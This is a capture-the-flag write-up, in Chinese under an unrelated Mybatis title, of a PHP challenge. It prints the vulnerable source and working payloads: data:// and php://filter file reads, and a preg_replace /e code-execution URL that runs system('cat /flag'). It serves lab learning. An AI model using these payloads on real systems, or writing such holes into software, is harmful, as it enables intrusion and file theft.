Mybatis學習筆記【狂神說】
阿新 • • 發佈:2021-01-20
知識點
偽協議
preg_replace /e 模式下的程式碼漏洞問題
審題
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
get傳倆參 file_get_contents必須要讀到一個$text傳來的內容為I have a dream的檔案 想到用data偽協議來讀 看到了next.php這個hint 嘗試了一下直接?file=next.php不行 想了想用偽協議就行了
第一部分payload
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
這樣就能讀到next.php的內容了
第二步
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
然後就不會做了 瞄了一眼wp發現 原來preg_replace這個正則匹配表示式的/e模式這麼危險 可以進行rce 具體的解釋大家康康這位大佬的文章 寫的已經很詳細了
最終payload
http://fdad1be2-5788-4d7a-a515-f49309c1b0a3.node3.buuoj.cn//next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
EOF